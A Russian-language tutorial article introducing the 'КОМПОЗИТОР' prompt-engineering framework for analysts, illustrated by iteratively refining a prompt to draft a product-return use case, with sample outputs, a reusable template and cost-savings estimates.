Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Промт-инжиниринг для аналитиков по фреймворку КОМПОЗИТОР

c564006f2a0898ab32484e05769b478c.webp

Аннотация

Системные и бизнес‑аналитики ежедневно пишут десятки требований, юскейсов и спецификаций. На каждый документ уходит 2–3 часа: собрать факты, договориться об уровне детализации, причесать стиль. Акроним КОМПОЗИТОР превращает ChatGPT, GigaChat, Deepseek и другие чат-боты на основе больших языковых моделей из капризного собеседника в штатного аналитика: он раскладывает промт на 10 чётких блоков, которые добавляются итерациями, или «слоями», и автоматически устраняют типичные ошибки — размытые формулировки, «галлюцинации» и несогласованность. Час на настройку шаблона экономит 6–7 часов в первом же спринте и до 78 000 рублей на блоке из 12 похожих задач.

Введение: почему эта статья важна

ИИ‑ассистенты уже умеют помогать в аналитических задачах, но «из коробки» они отвечают обтекаемо: теряют роли, смешивают контексты, выдают лишние допущения. Для системных и бизнес‑аналитиков, работающих со сложными процессами, такое «творчество» оборачивается десятками доработок и риском пропустить критичные детали.

  1. Сложный домен требует точности. Ошибка в формулировке превращается в потенциальный дефект. Нужен промт, который заранее удерживает рамки.

  2. Большинство готовых фреймворков англоязычны. Акронимы вроде PROMPT или FEARS звучат умно, но плохо ложатся в русскоязычную практику и забываются через пару дней.

  3. Промт можно улучшать итерациями. Часто мы бросаемся писать идеальный запрос целиком, а потом переделываем. Гораздо продуктивнее начать с ядра и постепенно наращивать детали, проверяя, как ИИ корректирует ответ.

Именно поэтому мы предлагаем фреймворк «КОМПОЗИТОР» — русскоязычную мнемонику, которая:

  • делит промт на логически завершённые блоки («Кто ты», «Обстановка», «Миссия» и т.д.),

  • усиливает результат пошагово: сначала ядро «К-О-М» (промт «Кто ты — Обстановка — Миссия»), затем уточняющие слои в середине промта «П‑О‑З‑И» (промт «Позитивный пример — Отрицательный пример — Зона работы — Инспекция»), потом финальный аккорд «Т-О-Р» (промт «Тон — Окружение — Результат»).

  • позволяет быстро адаптировать один и тот же шаблон под разные типы артефактов — от user story до BPMN‑процесса.

В этой статье мы расскажем, как пройти путь от первого «сырого» запроса («первый блин — комом») до выверенного промта, который минимизирует итерации, делает ответы ИИ предсказуемыми и фиксирует нужный формат выдачи. Всё это — через визуализации: блины, робот‑повар в космосе, удар молота Тора и, конечно, реальный кейс из практики аналитиков — про заявку от клиента на возврат заказа.

Глоссарий

Термины, связанные с ИИ

Термин

Определение

Большая языковая модель (LLM) или просто «модель»

Алгоритм машинного обучения, обученный на терабайтах текстов. Прогнозирует вероятность следующего токена, благодаря чему создаёт связный текст, отвечает на вопросы и обобщает знания.

ChatGPT, GigaChat, DeepSeek

Чат‑боты на основе больших языковых моделях: принимают текстовый запрос, генерируют осмысленный ответ, поддерживают диалог и могут выполнять прикладные задачи (перевод, анализ, написание кода).

Промт (Prompt)

Запрос к модели, содержащий роль, контекст и задачу

Промт-инжиниринг (Prompt‑engineering)

Практика конструирования промтов для получения стабильных результатов

ИИ‑ассистент

Программный помощник, использующий ИИ (часто LLM) для автоматизации когнитивной работы: составление документов, поиск информации, подсказки при кодировании.

«Из коробки» (out‑of‑the‑box)

Характеристика решения, показывающая, как оно работает сразу после установки без дополнительной настройки. В контексте статьи — ChatGPT без специально сформулированного промта.

Галлюцинации (в контексте ИИ)

Ситуации, когда модель уверенно генерирует факты или детали, которых нет в источниках данных. Возникают из‑за статистической природы LLM и устраняются блоком «Зона работы», позитив/негатив‑примером и чек‑листом «Инспекция» из фреймворка КОМПОЗИТОР.

Fine‑tuning (дообучение)

Дополнительное обучение уже готовой большой языковой модели на корпоративных данных. Позволяет специализированному ИИ лучше понимать доменную лексику, но требует времени и вычислительных ресурсов — в статье мы заменяем его тонкой настройкой промта через фреймворк «КОМПОЗИТОР».

Фреймворк

Структурированный набор правил, этапов или блоков, который помогает решать типовую задачу предсказуемым способом. В статье это «КОМПОЗИТОР» — десять букв-блоков, формирующих промт.

Иностранные фреймворки (PROMPT, FEARS, RAIL)

Популярные англоязычные схемы для работы с LLM: PROMPT (Preview-Root-Objective-Must-Persona-Tone), FEARS (Few-shot-Examples-Analyze-Reason-Solve), RAIL (Role-Action-Input-Layout). Хорошо зарекомендовали себя, но труднее запоминаются русскоязычной команде.

Термины, связанные с кейсом системного анализа

Термин

Определение

Юскейс / Use case

Формальное описание взаимодействия актора с системой, методика А. Коберна (Cockburn)

Discovery‑фаза

Этап проекта, когда собираются требования и подтверждается бизнес‑ценность

Диаграмма состояний возврата

Графическое описание жизненного цикла заявки на возврат со статусами: Draft («Черновик») → Approved («Одобрен») → Refunded («Возврат выполнен») / Rejected («Отказано») и правилами переходов между ними. Служит контрактом для процессов и проверки сценариев.

UML‑классы «ReturnRequest», «Payment», «Customer»

Фрагмент предметной модели: каждый класс фиксирует сущность (атрибуты, связи, ограничения). Это эталон терминов и полей, на которые ссылаются требования и будущий журнал событий.

«ReturnRequest» («Заявка на возврат»)

Класс доменной модели, фиксирующий параметры обращения клиента: ID заказа, причину, дату подачи, текущий статус («Draft», «Approved», «Rejected», «Refunded»).

«Payment» («Платёж»)

Сущность, описывающая информацию об оплате: способ, сумму, валюту, дату авторизации и связь с «ReturnRequest» для оформления возврата средств.

«Customer» («Клиент/Покупатель»)

Класс, хранящий идентификатор пользователя, контактные данные и историю заказов. Связывается с «ReturnRequest» для верификации права на возврат.

SLA‑таблица (Service Level Agreement — «Соглашение об уровне сервиса»)

Документ с измеримыми нормами: например, «доступность ≥ 99,95 %» и «право на возврат — ≤ 14 календарных дней после статуса «Delivered». Эти цифры переносим в «Миссию» и позитивные примеры промта.

Git

Система контроля версий кода и документов

Pre‑commit

Сценарий, который Git выполняет до фиксации изменений (проверки качества)

Pull request

Запрос на включение изменений в основную ветку проекта

Feature‑банк

Очередь будущих функций продукта, из которых команда забирает работу

Lead Time

Время от создания задачи до одобрения результата без замечаний

Глава 1. Что скрывается за буквами «КОМПОЗИТОР»

«КОМПОЗИТОР» — это не только человек с партитурой, но и мнемоника, которая помогает системным и бизнес‑аналитикам «сочинять» точные промты. Каждая буква отвечает за один логический блок запроса. В совокупности они задают три уровня управления ответом ИИ: ядро, тон и контроль качества.

1.1. Ядро: «К-О-М» — основа, без которой ничего не сыграет

Буква

Вопрос, который мы задаём

Почему это важно

Примеры

К — Кто ты?

«Какую роль сейчас играет ассистент?»

Роль задаёт рамку экспертизы. ИИ‑“робот‑юрист” формулирует иначе, чем ИИ‑“UX‑писатель”.

— «Ты бизнес‑аналитик в проекте по логистике»— «Ты системный аналитик в банке»— «Ты UX‑исследователь в e‑commerce‑стартапе»

О — Обстановка

«Где мы? Какая предыстория?»

Контекст отсекает лишние допущения: discovery‑фаза ≠ support.

— «Discovery‑фаза финтех‑приложения»— «Post‑release support интернет‑магазина»— «Миграция ERP на облако»

М — Миссия

«Что должно получиться в конце?»

Чёткая финальная цель (use case, BPMN, чек‑лист) — якорь для всего диалога.

— «Составь юскейс “Отмена заказа”»— «Опиши BPMN процесса возврата»— «Подготовь нефункц‑требования к API»

Методичка

Начинайте любой запрос с «К-О-М». Представьте, что вы хотите быстро уговорить друга посмотреть с вами фильм и рассказываете только суть: герой, ситуация, цель. Всё остальное — детализация.

1.2. Фокусировка: «-П-О-» — примеры, которые направляют

Буква

Сущность

Почему это важно

Примеры

П — Позитивный пример

Эталонный фрагмент ответа

Показывает, какой стиль и детализация нужны.

— «Система проверяет статус “Delivered”»— «Запрос возвращает ≤ 50 элементов»— «Задержка в 95% ≤ 200 мс»

О — Отрицательный пример

Почти то же, но с ключевой ошибкой

ИИ быстрее учится «на контрасте», чем на абстрактном запрете.

— «Система проверяет, что статус корректный»— «API отвечает быстро»— «Пользователь доволен»

Два коротких примера экономят абзацы инструкций. Главное — выбрать ошибку, способную испортить результат (например, бесконечный цикл в BPMN).

1.3. Безопасная сцена: «-З-И-» — охрана периметра

Буква

Сущность

Почему это важно

Примеры

З — Зона работы

Допустимые данные и границы темы

Предотвращает «галлюцинации» о несуществующих интеграциях или регламентах.

— «Опирайся на стенограммы»— «Не добавляй новые статусы»— «Используй Swagger v1»— Если требуемых данных не хватает — укажи TODO со ссылкой на отсутствующий объект.

И — Инспекция

Чек‑лист самопроверки для ИИ

Заставляет ассистента прогнать результат через встроенный контроль качества (целостность диаграммы, согласованность терминов).

— «Проверь нумерацию шагов»— «Каждый gateway имеет 2 исхода»— «Нет петель в диаграмме»

1.4. Финальный аккорд: «-Т-О-Р» — ставим точку громко

Буква

Сущность

Почему это важно

Примеры

Т — Тон

Манера подачи (деловой, дружелюбный, gdb‑режим)

Помогает вписать текст в корпоративный стиль без ручного переписывания.

— «Деловой, лаконичный»— «Дружелюбный FAQ‑формат»— «Техническая справка»

О — Окружение

Для кого пишем (роль и уровень читателя)

Архитектор ждёт одни детали, CEO — другие.

— «PO и разработчики»— «Финансовый директор»— «Команда QA»

Р — Результат

Формат вывода (таблица, список, DSL)

Делает ответ пригодным для копипаста в Confluence или PlantUML без доп. правок.

— «Таблица Confluence»— «JSON‑snippet»— «PlantUML‑диаграмма»

1.5. Как запомнить порядок

  1. К‑О‑М — как «первый блин комом»: стартуем с роли, контекста и цели.

  2. П‑О — «Покажи‑Ошибись»: хороший и плохой варианты.

  3. З‑И — «Зона работы — Инспекция»: ограничиваем и проверяем.

  4. Т-О-Р— удар молота: закрепляем стиль, адресата и формат.

Через эту последовательность промт растёт «слоями». Вы можете остановиться на «К-О-М», получить быстрый черновик, а затем наращивать детали до полноформатного «КОМПОЗИТОР» — ровно столько, сколько требует задача. В следующих главах мы увидим, как это работает на практике: сначала попробуем «комом», а потом будем улучшать промт, добавляя каждый новый слой и наблюдая, как ИИ эволюционирует от «сырого теста» к «готовому продукту».

Глава 2. Начинаем с промта «Кто ты? — Обстановка — Миссия»: «первый блин — КОМом»

2.1 Три блина — три «К-О-М»-сцены

Метафора

Для того чтобы проверить рецепт, достаточно трёх блинчиков. Точно так же для отработки структуры промта нам нужны три короткие сцены — разный Кто, разная Обстановка, одна Миссия.

К — Кто ты?

О — Обстановка

М — Миссия

Что меняется в ответе ИИ

1

Начинающая хозяйка

Хай‑тек кухня в open‑space, много гаджетов

Испечь первые блины для друзей‑коллег

ИИ советует простые рецепты, учитывает доступ к «умной» сковороде, минимизирует риски («первый блин — тестовый»).

2

Опытная хозяйка

Туристический привал, костёр на природе

Накормить 8 человек блинами за 15 минут

ИИ предлагает опустить лишние приборы, фокусируется на жаре костра и скорости подачи.

3

Космический робот‑повар

Открытый модуль орбитальной станции

Приготовить блины в невесомости

ИИ переводит рецепт в регламент НК‑систем, прописывает фиксацию посуды и воздушные фильтры.

Вывод: даже без дополнительных блоков промта одно только «КОМ» радикально меняет советы ChatGPT — потому что меняются роль и контекст.

2.2 Перенос на анализ: промт «Кто ты — Обстановка — Миссия» для BA/SA‑кейса

Мы возьмём типовую совместную задачу бизнес‑ и системного аналитика — формулировку use case «Оформление возврата товара».

Промт «Кто ты — Обстановка — Миссия»

Кто ты? Ты — системный и бизнес‑аналитик в одной роли, отвечающий за описание процессов e‑commerce.
Обстановка: Стартовая discovery‑фаза проекта «Возврат товара»; есть стенограммы пользовательских интервью, диаграмма классов, диаграмма состояний возврата, SLA‑таблица.
Миссия: Составь первоначальный юскейс «Оформление возврата» по шаблону Кокберна, без диаграмм, только текст.

Ответ ИИ

Юскейс: Оформление возврата
Primary Actor: Клиент
Scope: E‑commerce система …

Основной сценарий:
1. Клиент инициирует запрос возврата…
2. Система запрашивает номер заказа…
3. …

Расширения:
1a. Клиент не помнит номер заказа … система предлагает поиск по email
3a. Срок возврата истёк … система уведомляет об отказе

Типичные проблемы, если использовать только промт «Кто ты — Обстановка — Миссия»:

  • Слишком общий стиль: нет ссылок на реальные SLA, статусы или роли службы поддержки.

  • Игнорирует ограничения (например, существующий API OMS).

  • Нет формата вывода: Markdown‑список придётся вручную переносить в Confluence‑шаблон.

  • Отсутствуют критерии проверки — ИИ «полагается на слово».

2.3 Плюсы и минусы промта «К-О-М»

Плюсы «К-О-М»‑подхода (промт «Кто ты — Обстановка — Миссия»)

Минусы, которые устраним дальше

✅ Ответ уже структурирован: актор, сценарии, альтернативы.

⛔️ Допущения не проверены на реальных данных (зона работы).

✅ Формулировки ближе к профессиональным терминам BA/SA.

⛔️ Нет позитивного/отрицательного примера: ИИ не видит образца качества.

✅ Не нужно объяснять, зачем нужен use case.

⛔️ Нет настройки тона и формата вывода — придётся дорабатывать вручную.

Итого: «К-О-М» (промт «Кто ты — Обстановка — Миссия») — быстрый способ получить черновик, но без дальнейших слоёв фреймворка «КОМПОЗИТОР» ответ останется тем самым «первым блином». В следующей главе мы «ударим молотом Тора» — добавим промт Т-О-Р («Тон — Окружение — Результат») и посмотрим, как сразу исчезнет половина проблем.

Глава 3. Завершаем промтом «Т-О-Р» («Тон — Окружение — Результат»): как положить «молот Тора» на стол

Мы вынесли эту часть промта сразу после начала, так как можно использовать только две части фреймворка:

  • начало — «К-О-М» (промт «Кто ты — Обстановка — Миссия»)

  • конец — Т-О-Р («Тон — Окружение — Результат»)

И результат уже может быть завершённым. Но для сложных промтов понадобятся детали из «середины» фреймворка — о них расскажем в следующей главе.

Образ

Молот Мьёльнир громко бьёт по наковальне — хаос превращается в форму.

В промте: слой Т-О-Р («Тон — Окружение — Результат») задаёт тон ответа, адресата и формат, превращая черновик «К-О-М» в готовый артефакт, который можно сразу вставить в Confluence или Jira.

3.1 Расшифровка «Т-О-Р»

Буква

Что настраиваем

Типовая формулировка

Что меняет

Т — Тон

Манера подачи

«деловой, но дружелюбный, короткие активные фразы»

Убирает лишние прилагательные, сокращает вводные слова.

О — Окружение

Для кого пишем

«читатели: продукт‑оунер и разработчики»

Подсвечивает детали, важные именно этой роли (например, статусы API для разработчика).

Р — Результат

Формат вывода

«оформи в таблицу Confluence» или «DSL‑блок Cockburn»

Экономит копипаст и ручное форматирование.

3.2 Апгрейд BA/SA‑промта: добавляем «Т-О-Р»

Промт «Кто ты — Обстановка — Миссия» + «Тон — Окружение — Результат»

Кто ты? Ты — системный и бизнес‑аналитик в одной роли, отвечающий за описание процессов e‑commerce.
Обстановка: Стартовая discovery‑фаза проекта «Возврат товара»; есть стенограммы пользовательских интервью, диаграмма классов, диаграмма состояний возврата, SLA‑таблица.
Миссия: Составь первоначальный юскейс «Оформление возврата» по шаблону Кокберна, без диаграмм, только текст.

Тон: деловой, лаконичный, каждое действие с новой строки.
Окружение: читатели — продукт‑оунер и команда разработки.
Результат: выведи результат в таблицу с колонками: Шаг, Актор, Действие, ID альтернативного потока

Ответ ИИ (фрагмент)

Шаг

Актор

Действие

ID альтернативного потока

1

Клиент

Запрашивает номер заказа

2

E‑com Core

Проверяет право на возврат, сверяя дату заказа и статус «Delivered» в OMS (≤ 14 дней)

2a

3

OMS

Выдаёт этикетку возврата (REST /return/v2/label)

3.3 Ответы ИИ до и после «удара молота»

Параметр

Без «Т-О-Р» (только промт «К-О-М» — «Кто ты — Обстановка — Миссия»)

С промтом «Т-О-Р» («Тон — Окружение — Результат»)

Стиль

Смешивает канцелярит и разговорные фразы.

Короткие императивы. Нет «лишнего воздуха».

Фокус на аудитории

Не уточняет коды API, статусы.

Добавляет колонки «System Action», «Alt Flow ID».

Формат

Markdown‑список, нуждается в ручном переносе.

Готовая таблица — достаточно вставить в Confluence.

3.4 Что изменилось — короткие выводы

  • Минус две итерации ревью. Роли и формат заданы сразу, продукт‑оунер вчитался без вопросов.

  • Ноль ручного форматирования. Таблица Confluence вставляется «как есть».

  • Уменьшение когнитивной нагрузки. Тон единообразен, не нужно причесывать стиль под гайдлайн.

Ключевая мысль: слой Т-О-Р («Тон — Окружение — Результат») — это не «косметика», а механика доставки ценности. Он фокусирует ответ под конкретных читателей и избавляет вас от ручных правок.

В следующей главе мы подключим П‑О‑З‑И (промт «Позитивный пример — Отрицательный пример — Зона работы — Инспекция»), чтобы ассистент учился на примерах, соблюдал границы задачи и сам проверял качество результата.

Глава 4.Нарастающее улучшение: подключаем «П‑О‑З‑И» (промт «Позитивный пример — Отрицательный пример — Зона работы — Инспекция»)

Задача главы

Показать, как поочерёдное добавление четырёх новых блоков превращает «хороший» промт уровня К-О-М + Т-О-Р (промты «Кто ты — Обстановка — Миссия» + «Тон — Окружение — Результат») в «безошибочный» промт уровня КОМПОЗИТОР.

Посмотрим на фрагмент ответа ИИ, который он дал на предыдущем шаге:

Шаг

Актор

Действие

ID альтернативного потока

1

Клиент

Запрашивает номер заказа

2

E‑com Core

Проверяет право на возврат, сверяя дату заказа и статус «Delivered» в OMS (≤ 14 дней)

2a

3

OMS

Выдаёт этикетку возврата (REST /return/v2/label)

4

E‑com Core

Проверяет: если всё ок — возврат, иначе — отказ

Что заметили

  • Шаг 2 оформлен чётко — будущий позитивный пример.

  • Далее идёт общий текст: «Система проверяет, если всё ок— возврат…» — это идеальный негативный пример.

4.1 Шаг 1 — добавляем Позитив и Отрицание

Что делаем

Добавляем фрагмент ответа, который максимально похож на желаемый результат, и антипример, на который не стоит ориентироваться

Добавляем «Позитивный пример» и «Отрицательный пример»

Позитивный пример идеального шага основного сценария:
«Система проверяет право на возврат, сверяя дату заказа и статус "Delivered" в OMS (не более 14 дней)».

Отрицательный пример — «Система проверяет, если всё ок — возврат, иначе — отказ». Избегай размытых формулировок.

Новый ответ ИИ (фрагмент)

Шаг

Актор

Действие

ID альтернативного потока

2

E‑com Core

Проверяет право на возврат, опираясь на статус «Delivered» или «Picked‑Up»

2a

4

E‑com Core

Создаёт тикет в Service Desk «Return Request»

Выявленные проблемы

  • Появился несуществующий статус «Picked‑Up»

  • Создан Service Desk‑тикет — в исходных данных такого сервиса нет.

→ нужен блок, который ограничит воображение модели.

4.2 Шаг 2 — вводим Зону работы

Решаем проблему предыдущего этапа

Добавляем рамки, в которых модель должна генерировать ответ, для того чтобы ограничить её воображение.

Добавляем «З» — «Зону работы»

Зона работы: используй только факты из интервью и источников: UML‑классы ReturnRequest, Payment, Customer, диаграмма состояний возврата, SLA‑таблица. Запрещено придумывать новые статусы и связи. Если требуемых данных не хватает — укажи TODO со ссылкой на отсутствующий объект.

Новый ответ ИИ (фрагмент)

Шаг

Актор

Действие

ID альтернативного потока

2

E‑com Core

Проверяет право на возврат, сверяя дату заказа и статус «Delivered» в OMS (≤ 14 дней)

2a

2a

E‑com Core

Если статус не «Delivered» — отказ в возврате

5

Переходит к шагу 2

Новая проблема

  • Возникла петля: шаг 5 отправляет процесс назад к шагу 2 без шлюза — классическая логическая ошибка.

  • → добавляем блок самопроверки.

4.3 Шаг 3 — включаем Инспекцию

Решаем проблему предыдущего этапа

Добавляем чек-лист, по которому система должна сама себя проверить перед выводом ответа пользователю.

Добавляем «И» — «Инспекцию»

Инспекция. Перед финальным ответом проверь:

  • Все шаги нумеруются по порядку без петель.

  • Каждый Alt Flow ссылается на существующий шаг.

  • У каждого шага есть Actor и System Action.

Если условие не выполнено — исправь ответ, затем выведи.

Финальный ответ ИИ (фрагмент)

Шаг

Актор

Действие

ID альтернативного потока

1

Клиент

Запрашивает номер заказа

2

E‑com Core

Проверяет право на возврат, сверяя дату заказа и статус «Delivered» в OMS (≤ 14 дней)

2a

3

OMS

Генерирует этикетку возврата (REST /return/v2/label)

2a

E‑com Core

Если статус не «Delivered» — уведомление клиента об отказе в возврате

4.4 Итого: эволюция промта

Ревизия

Что добавили

Какая ошибка ушла

К-О-М

Ядро промта: «Кто, Обстановка, Миссия»

Ответ остаётся сырым, ошибки ещё не устранены

+ П‑О

«П‑О» — Позитивный и Отрицательный пример

Уходит размытая лексика, шаги становятся конкретными

+ З

«Зона работы»: Ограничения на источники данных, запрет фантазий

Пропадают «галлюцинации» о новых сервисах и статусах

+ И

«Инспекция» — Чек‑лист самопроверки: нумерация, петли, Actor/System Action

Устраняются петли, пропуски и несогласованности

+ Т-О-Р

Фокусировка результата: «Тон, Окружение, Результат»

Исчезает смешанный стиль и нужда в ручном форматировании

Главный результат: всего три коротких улучшения в середине промта  —  и мы перешли от «приемлемого» черновика к «готовому» артефакту, который можно сразу вложить в Confluence без дополнительного ревью.

Глава 5. Многоразовый промт: один шаблон

5.1 Шаблон, который не меняется

После шага 4 у нас появился промт фреймворка КОМПОЗИТОР. Он уже содержит:

  • роль, контекст и миссию;

  • позитивный и отрицательный примеры;

  • жёсткие границы данных (интервью + журнал событий за 6 месяцев);

  • чек‑лист самопроверки, тон, целевую аудиторию и формат вывода.

Теперь этот шаблон можно использовать для создания остальных юскейсов на проекте с теми же исходными данными (интервью + журнал событий за 6 месяцев)

Промт по фреймворку КОМПОЗИТОР

Кто ты? Ты — системный и бизнес‑аналитик в одной роли, отвечающий за описание процессов e‑commerce.
Обстановка: Стартовая discovery‑фаза проекта «Возврат товара»; есть стенограммы пользовательских интервью, диаграмма классов, диаграмма состояний возврата, SLA‑таблица.
Миссия: Составь юскейс «Оформление возврата» по шаблону Кокберна, без диаграмм, только текст.

Позитивный пример идеального шага основного сценария:
«Система проверяет право на возврат, сверяя дату заказа и статус "Delivered" в OMS (не более 14 дней)».
Отрицательный пример — «Система проверяет, если всё ок — возврат, иначе — отказ». Избегай размытых формулировок.
Зона работы: используй только факты из интервью и источников: UML‑классы ReturnRequest, Payment, Customer, диаграмма состояний возврата, SLA‑таблица. Запрещено придумывать новые статусы и связи. Если требуемых данных не хватает — укажи TODO со ссылкой на отсутствующий объект. Допустимые статусы доставки: «Delivered», «Returned».
Инспекция. Перед финальным ответом проверь:

  • Все шаги нумеруются по порядку без петель.

  • Каждый Alt Flow ссылается на существующий шаг.

  • У каждого шага есть Actor и System Action.

Если условие не выполнено — исправь ответ, затем выведи.

Тон: деловой, лаконичный, каждое действие с новой строки.
Окружение: читатели — продукт‑оунер и команда разработки.
Результат: выведи результат в таблицу с колонками: Шаг, Актор, Действие, ID альтернативного потока

Единственное, что меняем от задачи к задаче — строку М (Миссия). Всё остальное остаётся неизменным.

5.2 Пример 1.Юскейс «Инициировать возврат»

М (миссия): «Составь юскейс „Инициировать возврат“ по шаблону Кокберна».

Ответ ИИ (фрагмент)

Шаг

Актор

Действие

ID альтернативного потока

1

Клиент

Запрашивает номер заказа

2

E‑com Core

Проверяет срок и статус («Delivered», ≤ 14 дней)

2a

3

OMS

Создаёт заявку возврата (/return/v2/request)

Результат: Вся нумерация ровная, ни одного придуманного статуса.

5.3 Пример 2. Юскейс «Получить ярлык возврата»

М (миссия): «Составь юскейс „Получить ярлык возврата“ по шаблону Кокберна».

Ответ ИИ (фрагмент)

Шаг

Актор

Действие

ID альтернативного потока

1

Клиент

Валидирует ID заявки возврата

1a

2

OMS

Генерирует PDF‑этикетку (/return/v2/label)

3

Notification Service

Отправляет ссылку на email

Результат: ни одной «галлюцинации»: сервисы и эндпоинты совпадают с журналами вызовов.

5.4 Пример 3. Юскейс «Отказать в возврате»

М (миссия): «Составь юскейс „Отказать в возврате“ по шаблону Кокберна».

Ответ ИИ (фрагмент)

Шаг

Актор

Действие

ID альтернативного потока

1

E‑com Core

Проверяет срок (> 14 дней)

2

E‑com Core

Формирует отказ с кодом RETURN_EXPIRED

3

Notification Service

Уведомляет клиента (/notify/v1/send)

Результат: Снова без пропусков и петель — чек‑лист «Инспекции» удерживает логику.

5.5 Что даёт многоразовый промт

Показатель

Разовая задача (только промт «Кто ты — Обстановка — Миссия)

Полный фреймворк «КОМПОЗИТОР»

Время на формулировку запроса

10–15 мин

1 мин (подставить новую миссию)

Неявные допущения в ответе

3–5 на юскейс

0–1 (редкость)

Итерации ревью

2–3 круга

0–1 короткая правка

Повторяемость формата

ненадёжна

100 % — одна таблица, один стиль

5.6 Вывод главы

  • Один тщательно собранный промт масштабируется на любые под‑задачи внутри проекта «Возврат v2».

  • Качество держится без ручного микроменеджмента: примеры, зона и инспекция автоматически «выправляют» ответ.

  • Скорость растёт линейно: чем больше юскейсов, тем выше экономия. На десятке похожих требований мы выигрываем рабочий день аналитика каждую неделю.

Таким образом, потраченный час на сборку полного КОМПОЗИТОР‑промта окупается после первых же трёх‑четырёх юскейсов и остаётся полезным на всём протяжении discovery‑фазы.

Глава 6. Экономика внедрения:«КОМПОЗИТОР» vs ручная работа без ИИ

В предыдущих главах мы сравнивали разные уровни промтов. Здесь рассмотрим самый привычный для команд сценарий — документы пишутся целиком вручную, ИИ вообще не используется. Именно с такой «нулевой» базы и имеет смысл считать выгоду от шаблона «КОМПОЗИТОР».

6.1 Метрики, на которые смотрим

Метрика

Как измерить

Почему важна

Lead Time

Время от постановки задачи «описать юскейс» до одобренного документа без замечаний

Чем меньше — тем быстрее фича уходит в разработку

Раунды ревью

Сколько раз архитектор/тим‑лид возвращает документ на доработку

Показывает качество на первом выходе

Дефекты на этапе разработки

Баг‑репорты, где причина — «неясное требование»

Именно такие дефекты самые дорогие

6.2 До и после внедрения фреймворка «КОМПОЗИТОР»(в рублях и часах)

Показатель

Без ИИ (ручной Word/Confluence)

С шаблоном КОМПОЗИТОР

Среднее время на юскейс

2,5 ч

20 мин ≈ 0,33 ч

Раунды ревью

2‑3

0‑1

Дефекты «требование неясно»

3‑5 на спринт

0‑1 разовые уточнения

Экономия в часах:2,5 ч → 0,33 ч (20 мин)

  • 2,5 ч — усреднённый опыт команд: 1,5 ч пишет аналитик, ещё час уходит на комментарии и правки.

  • 0,33 ч (20 мин) — фактическое время, чтобы подставить одну новую строку «Миссия» в готовый шаблон, запустить ИИ и просмотреть таблицу.

Экономия в деньгах

Для оценки возьмём среднюю ставку аналитика и тим-лида, который проверяет работу — 3 000 руб./ч

Экономия на одном юскейсе:
(2,5 − 0,33) ч × 3 000 руб./ч ≈ 6 500 руб.

Если в discovery‑фазе «Возврат v2» мы оформили 12 юскейсов:
6 500 руб. × 12  = 78 000 руб. чистой экономии только на писательском труде, не считая снижения количества багов.

6.3 Как внедрять ИИ с фреймворком «КОМПОЗИТОР» в процесс

  1. Выберите пилот. Подойдёт блок задач, где паттерны повторяются. Такое место в бэклоге часто называют «фича‑банк» — список будущих функций (features), из которого команда регулярно «достаёт» работу.

  2. Зафиксируйте шаблон. Создайте страницу с промтом, созданным по фреймворку КОМПОЗИТОР. Единственное поле, которое меняет аналитик — Миссия.

  3. Автоматизируйте чек‑лист с «Инспекцией».

    • Сохраните ответы ИИ в .md‑файлах репозитория.

    • Добавьте git pre‑commit‑скрипт (например, на Python), который:

    • проверяет, что таблица содержит нужные колонки

    • убеждается, что нумерация шагов 1, 2, 3... без пропусков;

    • если есть петли или пропущенные колонки — отклоняет commit, и pull‑request не попадёт в review.

    • Такое правило держит качество даже тогда, когда шаблоном пользуются разные люди.

  4. Проведите 30‑минутный мастер‑класс. Дайте три примера миссий (например, инициировать возврат, получить ярлык, отказать в возврате). Пусть участники вставят их в шаблон и увидят одинаково чистый результат.

  5. Проверьте эффекты через спринт. Сравните фактический Lead Time и число ревью‑кругов с данными из § 6.1. Если время не упало минимум на 50 % — посмотрите, не забыт ли в промте блок «З» (Зона работы) или «И» (Инспекция). Именно их отсутствие чаще всего даёт скачок ошибок.

6.4 Когда внедрение шаблона не окупится

  • Уникальная одноразовая задача. Экономия повторяемости отсутствует.

  • Новый домен без данных. Если нет ни расшифровок интервью с заказчиками, ни созданных артефактов, то нечего положить в «Зону работы», и ИИ будет фантазировать.

  • Среда без wiki или git. Вы теряете бонусы от блока «Результат» (формат) и проверки pre‑commit.

Или можно прибегнуть к простому правилу: есть минимум три схожие задачи — шаблон окупится.

6.5 Главные выводы

  • Фреймворк «КОМПОЗИТОР» — это управляемое сокращение затрат: время падает в 5‑7 раз, деньги — на десятки тысяч рублей уже в первом спринте.

  • Экономия достигается не «магией ИИ», а системной рамкой: примеры, зона, инспекция.

  • Чем больше повторяющихся юскейсов, тем сильнее кумулятивный эффект: один раз собрали — дальше лишь подставляете новую миссию.

Заключение

ИИ‑ассистент может быть либо бесполезным собеседником, либо настоящим коллегой — всё решает промт.

Фреймворк «КОМПОЗИТОР» переводит работу чат-ботом из импровизации в технологию:

  1. К-О-М (промт «Кто ты — Обстановка — Миссия»)даёт прочный каркас роли, контекста и цели.

  2. П‑О‑З‑И (промт «Позитивный пример — Отрицательный пример — Зона работы — Инспекция») вводят обучение на примерах, защиту от «галлюцинаций» и самопроверку.

  3. Т-О-Р («Тон — Окружение — Результат») фиксирует стиль, адресата и формат, превращая черновик в готовый артефакт.

Попробуйте уже сегодня: возьмите первую задачу, опишите «КОМ», затем шаг за шагом нарастите до полного «КОМПОЗИТОР». К моменту, когда появится вторая похожая задача, вы почувствуете разницу во времени, качестве и спокойствии команды.

Приложение A. Фреймворк «КОМПОЗИТОР» для копирования

Инструкция: скопируйте и заменяйте только содержимое после двоеточий.

  • Если задача маленькая — оставьте «К-О-М».

  • Если нужна точность — добавляйте блоки по порядку до полного фреймворка «КОМПОЗИТОР», основываясь на ответах ИИ

  • Если важен формат вывода, но допустима креативность — используйте «К-О-М» + «Т-О-Р»

Промт по фреймворку КОМПОЗИТОР

Кто ты? Ты — … (роль ИИ или человека).
Обстановка: … (контекст, история, фаза проекта).
Миссия: … (чёткая цель/артефакт, например: «Составь юскейс ...»).

Позитивный пример: "…"(пример идеального фрагмента).
Отрицательный пример: "…"(пример плохого фрагмента).

Зона работы: Используй только … (источники, допускаемые данные). Не придумывай … Если требуемых данных нет, укажи TODO со ссылкой на объект.
Инспекция: Перед ответом проверь:

  • [ ] … (чек‑лист нумерации, ссылок, петель).

Если условие не выполнено — исправь ответ, затем выведи.

